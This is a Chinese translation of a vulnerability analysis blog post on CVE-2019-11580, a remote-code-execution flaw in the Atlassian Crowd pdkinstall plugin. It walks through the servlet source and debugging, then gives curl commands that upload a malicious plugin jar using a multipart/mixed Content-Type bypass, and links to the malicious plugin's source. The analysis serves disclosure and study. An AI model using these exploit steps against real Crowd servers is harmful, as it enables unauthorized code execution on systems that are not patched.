CVE-2019-11580 Atlassian Crowd RCE漏洞分析

2019-07-23 约 414 字 预计阅读 2 分钟

声明:本文 【CVE-2019-11580 Atlassian Crowd RCE漏洞分析】 由作者 angel010 于 2019-07-23 09:24:00 首发 先知社区 曾经 浏览数 31 次

感谢 angel010 的辛苦付出!

简介

Atlassian Crowd和Atlassian Crowd Data Center都是澳大利亚Atlassian公司的产品。Atlassian Crowd是一套基于Web的单点登录系统。该系统为多用户、网络应用程序和目录服务器提供验证、授权等功能。Atlassian Crowd Data Center是Crowd的集群部署版。
近日,研究人员发现Atlassian Crowd和Atlassian Crowd Data Center中存在输入验证错误漏洞。该漏洞源于网络系统或产品未对输入的数据进行正确的验证。受影响的产品及版本包括:Atlassian Crowd 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本;Atlassian Crowd Data Center 2.1.x版本,3.0.5之前的3.0.x版本,3.1.6之前的3.1.x版本,3.2.8之前的3.2.x版本,3.3.5之前的3.3.x版本,3.4.4之前的3.4.版本。

漏洞分析

研究人员首先克隆了该插件的源码:

root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

可以在./main/resources/atlassian-plugin.xml中找到插件的描述文件。每个插件都需要一个插件描述文件,其中含有描述插件和模块的XML文件,如下所示:

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>

<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>

<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>

<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

从中可以看出Java servlet类com.atlassian.pdkinstall.PdkInstallFilter是通过访问/admin/uploadplugin.action调用的。因为该漏洞是通过任意插件安装的RCE漏洞,所以研究人员决定分析下PdkInstallFilterservlet的源码。

研究人员将pdkinstall-plugin导入到IntelliJ中,并开始分析doFilter()方法。

如果请求方法不是POST,就退出会返回错误:

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;

if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

然后确定请求中是否含有multipart内容。Multipart内容是指含有一个或多个不同集合的数据。如果其中含有multipart内容就调用extractJar()方法来提取请求中发送的jar,否则调用buildJarFromFiles()方法并尝试从请求中的数据中构建插件jar文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

下面再看一下extractJar()方法。

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);

    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

首先,用ServletFileUpload的新对象来示例,然后调用parseRequest()方法并分析HTTP请求。该方法会处理HTTP请求的multipart/form数据流,并设置FileItems的列表为变量items

对每个FileItems中的每个item,如果field名是以file_开始的,并且不是form field,就会创建和写如上传到磁盘空文件的文件。如果失败,变量tmp就为空,如果成功,变量tmp中就含有写入文件的路径。然后返回doFilter()主方法。

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }

    tmp.delete();

    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("\t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

如果extractJar()成功,tmp变量就会被设置,并且不等于null。应用会尝试用pluginInstaller.install()方法来安装插件,并找到进程中的错误。如果没有错误,服务器就会响应200 OK和插件成功安装的消息。否则,服务器会响应400 Bad RequestUnable to install plugin的消息,以及引发安装失败的错误。

如果extractJar()方法失败了,tmp变量就会被设置为null,服务器会响应400 Bad RequestMissing plugin file消息。

漏洞利用

下面开始尝试进行漏洞利用。

attempt #1

使用Atlassian SDK来准备一个实例。

确保可以访问http://localhost:4990/crowd/admin/uploadplugin.action来调用pdkinstall插件。

服务器响应400 Bad Request:

使用已有知识来上传标准插件。研究人员选择尝试atlassian-bundled-plugins中的applinks-plugin

已经了解的信息包括:servlet 需要含有multipart数据中含有以file_开头的文件的POST请求。可以用cURLform flag来实现:

root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v

结果是成功安装了插件,然后就应该创建和安装自己的恶意插件了。研究人员创建的恶意插件见https://github.com/lc/research/tree/master/CVE-2019-11580/atlassian-shell

编译并尝试上传:

root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v

结果是失败了,并返回了400 Bad RequestMissing plugin file的错误消息。如果tmp为空,服务器会响应准确的消息和状态码,但是为什么呢?下面通过调试来进行分析。

Debug

研究人员将pdkinstall插件导入IntelliJ,打开处理上传的PdkInstallFilter.java servlet

研究人员首先猜测是ServletFileUpload.isMultipartContent(req)方法失败了,所以研究人员设置了一个断点。然后尝试再次上传插件,但研究人员发现这次正常了,而且服务器将它看作multipart内容:

所以应该是extractJar()失败了。研究人员对该方法进行了调试,并一行行设置了断点来找出哪里失败了。在设置完断点后,研究人员再次进行了尝试:

动态图:https://www.corben.io/images/atlassian/extractJar-debugging.gif

可以看出upload.parseRequest(req)方法返回了空数组。因为items变量是空,所以跳过了循环,并返回设置为NULLtmp

attempt #2

研究人员决定尝试通过Content-Type: multipart/mixed的形式来上传恶意插件。

curl -k -H "Content-Type: multipart/mixed" \
  --form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action

响应插件安装的消息:

下面看一下是否可以调用恶意插件:

执行成功。

本文翻译自:https://www.corben.io/atlassian-crowd-rce/

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now